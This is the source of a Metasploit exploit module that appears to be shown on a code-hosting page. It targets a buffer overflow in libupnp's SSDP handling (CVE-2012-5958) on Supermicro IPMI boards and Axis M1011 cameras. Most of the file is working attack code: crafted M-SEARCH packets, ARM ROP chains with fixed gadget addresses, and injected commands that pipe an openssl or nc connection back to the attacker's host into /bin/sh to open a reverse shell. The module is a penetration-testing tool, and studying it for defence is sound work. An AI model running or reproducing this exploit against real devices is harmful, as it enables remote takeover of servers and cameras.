Path: blob/master/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',13'Description' => %q{14This module exploits a buffer overflow in the unique_service_name()15function of libupnp's SSDP processor. The libupnp library is used across16thousands of devices and is referred to as the Intel SDK for UPnP17Devices or the Portable SDK for UPnP Devices.1819Due to size limitations on many devices, this exploit uses a separate TCP20listener to stage the real payload.21},22'Author' => [23'hdm', # Exploit dev for Supermicro IPMI24'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI25'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI26'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M101127],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2012-5958' ],31[ 'OSVDB', '89611' ],32[ 'US-CERT-VU', '922681' ],33[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]34],35'Platform' => ['unix'],36'Arch' => ARCH_CMD,37'Privileged' => true,38'DefaultOptions' => { 'WfsDelay' => 10 },39'Payload' => {40#41# # The following BadChars do not apply since we stage the payload42# # through a secondary connection. This is just for reference.43#44# 'BadChars' =>45# # Bytes 0-8 are not allowed46# [*(0..8)].pack("C*") +47# # 0x09, 0x0a, 0x0d are allowed48# "\x0b\x0c\x0e\x0f" +49# # All remaining bytes up to space are restricted50# [*(0x10..0x1f)].pack("C*") +51# # Also not allowed52# "\x7f\x3a" +53# # Breaks our string quoting54# "\x22",5556# Unlimited since we stage this over a secondary connection57'Space' => 8000,58'DisableNops' => true,59'Compat' =>60{61'PayloadType' => 'cmd',62# specific payloads vary widely by device (openssl for IPMI, etc)63}64},65'Targets' => [6667[ "Automatic", {} ],6869#70# ROP targets are difficult to represent in the hash, use callbacks instead71#72[73"Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {7475# The callback handles all target-specific settings76:callback => :target_supermicro_ipmi_131,7778# This matches any line of the SSDP M-SEARCH response79:fingerprint =>80/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi81#82# SSDP response:83# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.184# http://192.168.xx.xx:49152/IPMIdevicedesc.xml85# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice8687# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)8889}90],91[92"Axis Camera M1011 5.20.1 UPnP/1.4.1", {9394# The callback handles all target-specific settings95:callback => :target_axis_m1011_141,9697# This fingerprint may not be specific enough to be used automatically.98# :fingerprint =>99# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi100#101# SSDP response:102# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1103# http://192.168.xx.xx:49152/rootdesc1.xml104# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice105106}107],108109[110"Debug Target", {111112# The callback handles all target-specific settings113:callback => :target_debug114115}116]117118],119'DefaultTarget' => 0,120'DisclosureDate' => '2013-01-29',121'Notes' => {122'Reliability' => UNKNOWN_RELIABILITY,123'Stability' => UNKNOWN_STABILITY,124'SideEffects' => UNKNOWN_SIDE_EFFECTS125}126)127)128129register_options(130[131Opt::RHOST(),132Opt::RPORT(1900),133OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),134OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])135]136)137end138139def exploit140configure_socket141142target_info = choose_target143144unless self.respond_to?(target_info[:callback])145print_error("Invalid target specified: no callback function defined")146return147end148149buffer = self.send(target_info[:callback])150pkt =151"M-SEARCH * HTTP/1.1\r\n" +152"Host:239.255.255.250:1900\r\n" +153"ST:uuid:schemas:device:" + buffer + ":end\r\n" +154"Man:\"ssdp:discover\"\r\n" +155"MX:3\r\n\r\n"156157print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")158159udp_sock.sendto(pkt, rhost, rport, 0)1601611.upto(5) do162::IO.select(nil, nil, nil, 1)163break if session_created?164end165166# No handler() support right now167end168169# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc170def target_supermicro_ipmi_131171# Create a fixed-size buffer for the payload172buffer = Rex::Text.rand_text_alpha(2000)173174# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()175buffer[0, 1] = '"'176buffer[1999, 1] = '"'177178# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise179cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])180181# Start a listener182start_listener(true)183184# Figure out the port we picked185cbport = self.service.getsockname[2]186187# Restart the service and use openssl to stage the real payload188# Staged because only ~150 bytes of contiguous data are available before mangling189cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"190buffer[432, cmd.length] = cmd191192# Adjust $r3 to point from the bottom of the stack back into our buffer193buffer[304, 4] = [0x4009daf8].pack("V")194# 0x4009daf8: add r3, r3, r4, lsl #2195# 0x4009dafc: ldr r0, [r3, #512] ; 0x200196# 0x4009db00: pop {r4, r10, pc}197198# The offset (right-shifted by 2 ) to our command string above199buffer[284, 4] = [0xfffffe78].pack("V")200201# Copy $r3 into $r0202buffer[316, 4] = [0x400db0ac].pack("V")203# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1204# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)205206# Move our stack pointer down so as not to corrupt our payload207buffer[320, 4] = [0x400a5568].pack("V")208# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198209# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}210211# Finally return to system() with $r0 pointing to our string212buffer[141, 4] = [0x400add8c].pack("V")213214return buffer215=begin21600008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev21700031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev21800032000-00055000 rwxp 00000000 00:00 0 [heap]21940000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so22040015000-40017000 rwxp 00000000 00:00 02214001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so2224001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so2234001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so2244002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so22540034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so22640035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so22740036000-40078000 rwxp 00000000 00:00 022840078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so22940180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so23040182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so23140185000-40187000 rwxp 00000000 00:00 0232bd600000-bd601000 ---p 00000000 00:00 0233bd601000-bd800000 rwxp 00000000 00:00 0234bd800000-bd801000 ---p 00000000 00:00 0235bd801000-bda00000 rwxp 00000000 00:00 0236bdc00000-bdc01000 ---p 00000000 00:00 0237bdc01000-bde00000 rwxp 00000000 00:00 0238be000000-be001000 ---p 00000000 00:00 0239be001000-be200000 rwxp 00000000 00:00 0240be941000-be956000 rwxp 00000000 00:00 0 [stack]241=end242end243244# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc245def target_axis_m1011_141246# Create a fixed-size buffer for the payload247buffer = Rex::Text.rand_text_alpha(2000)248249# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()250buffer[0, 1] = '"'251buffer[1999, 1] = '"'252253# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise254cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])255256# Start a listener257start_listener()258259# Figure out the port we picked260cbport = self.service.getsockname[2]261262# Initiate a callback connection263cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"264buffer[1, cmd.length] = cmd265266# Mask to avoid forbidden bytes, popped into $r4267buffer[284, 4] = [0x0D0D0D0D].pack("V")268269# Move $r4 to $r0270buffer[304, 4] = [0x40093848].pack("V")271# MEMORY:40093848 MOV R0, R4272# MEMORY:4009384C LDMFD SP!, {R4,PC}273274# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4275buffer[308, 4] = [0x32FB9D83].pack("V")276277# Set $r0 to system() address : $r0 = $r4 + $r0278buffer[312, 4] = [0x40093844].pack("V")279# MEMORY:40093844 ADD R4, R4, R0280# MEMORY:40093848 MOV R0, R4281# MEMORY:4009384C LDMFD SP!, {R4,PC}282283# Move $r0 to $r3 : system() address284buffer[320, 4] = [0x400D65BC].pack("V")285# MEMORY:400D65BC MOV R3, R0286# MEMORY:400D65C0 MOV R0, R3287# MEMORY:400D65C4 ADD SP, SP, #0x10288# MEMORY:400D65C8 LDMFD SP!, {R4,PC}289290# Move $r2 to $r0 : offset to buffer[-1]291buffer[344, 4] = [0x400ADCDC].pack("V")292# MEMORY:400ADCDC MOV R0, R2293# MEMORY:400ADCE0 ADD SP, SP, #8294# MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}295296# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4297buffer[356, 4] = [0xFFFFFEB2].pack("V")298299# Set $r0 to command str offset : $r0 = $r4 + $r0300buffer[376, 4] = [0x40093844].pack("V")301# MEMORY:40093844 ADD R4, R4, R0302# MEMORY:40093848 MOV R0, R4303# MEMORY:4009384C LDMFD SP!, {R4,PC}304305# Jump to system() function306buffer[384, 4] = [0x4009FEA4].pack("V")307# MEMORY:4009FEA4 MOV PC, R3308309return buffer310=begin31100008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp31200032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp31300033000-00055000 rwxp 00000000 00:00 0 [heap]31440000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so3154001d000-4001f000 rwxp 00000000 00:00 031640024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so31740025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so31840026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so3194002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so32040035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so32140036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so3224004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so32340051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so32440052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so32540053000-40055000 rwxp 00000000 00:00 032640055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so3274016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so32840173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so32940175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so33040176000-40179000 rwxp 00000000 00:00 033140179000-4017a000 ---p 00000000 00:00 03324017a000-40979000 rwxp 00000000 00:00 033340979000-4097a000 ---p 00000000 00:00 03344097a000-41179000 rwxp 00000000 00:00 033541179000-4117a000 ---p 00000000 00:00 03364117a000-41979000 rwxp 00000000 00:00 033741979000-4197a000 ---p 00000000 00:00 03384197a000-42179000 rwxp 00000000 00:00 033942179000-4217a000 ---p 00000000 00:00 03404217a000-42979000 rwxp 00000000 00:00 034142979000-4297a000 ---p 00000000 00:00 03424297a000-43179000 rwxp 00000000 00:00 0343bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]344=end345end346347# Generate a buffer that provides a starting point for exploit development348def target_debug349Rex::Text.pattern_create(2000)350end351352def stage_real_payload(cli)353print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")354cli.put(payload.encoded + "\n")355end356357def start_listener(ssl = false)358comm = datastore['ListenerComm']359if comm == "local"360comm = ::Rex::Socket::Comm::Local361else362comm = nil363end364365self.service = Rex::Socket::TcpServer.create(366'LocalPort' => datastore['CBPORT'],367'SSL' => ssl,368'SSLCert' => datastore['SSLCert'],369'Comm' => comm,370'Context' =>371{372'Msf' => framework,373'MsfExploit' => self,374}375)376377self.service.on_client_connect_proc = Proc.new { |client|378stage_real_payload(client)379}380381# Start the listening service382self.service.start383end384385#386# Shut down any running services387#388def cleanup389super390if self.service391print_status("Shutting down payload stager listener...")392begin393self.service.deref if self.service.kind_of?(Rex::Service)394if self.service.kind_of?(Rex::Socket)395self.service.close396self.service.stop397end398self.service = nil399rescue ::Exception400end401end402end403404def choose_target405# If the user specified a target, use that one406return self.target unless self.target.name =~ /Automatic/407408msearch =409"M-SEARCH * HTTP/1.1\r\n" +410"Host:239.255.255.250:1900\r\n" +411"ST:upnp:rootdevice\r\n" +412"Man:\"ssdp:discover\"\r\n" +413"MX:3\r\n\r\n"414415# Fingerprint the service through SSDP416udp_sock.sendto(msearch, rhost, rport, 0)417418res = nil4191.upto(5) do420res, _, _ = udp_sock.recvfrom(65535, 1.0)421break if res and res =~ /^(Server|Location)/mi422423udp_sock.sendto(msearch, rhost, rport, 0)424end425426self.targets.each do |t|427return t if t[:fingerprint] and res =~ t[:fingerprint]428end429430if res and res.to_s.length > 0431print_status("No target matches this fingerprint")432print_status("")433res.to_s.split("\n").each do |line|434print_status(" #{line.strip}")435end436print_status("")437else438print_status("The system #{rhost} did not reply to our M-SEARCH probe")439end440441fail_with(Failure::NoTarget, "No compatible target detected")442end443444# Accessor for our TCP payload stager445attr_accessor :service446447# We need an unconnected socket because SSDP replies often come448# from a different sent port than the one we sent to. This also449# breaks the standard UDP mixin.450def configure_socket451self.udp_sock = Rex::Socket::Udp.create({452'Context' => { 'Msf' => framework, 'MsfExploit' => self }453})454add_socket(self.udp_sock)455end456457#458# Required since we aren't using the normal mixins459#460461def rhost462datastore['RHOST']463end464465def rport466datastore['RPORT']467end468469# Accessor for our UDP socket470attr_accessor :udp_sock471472end473474475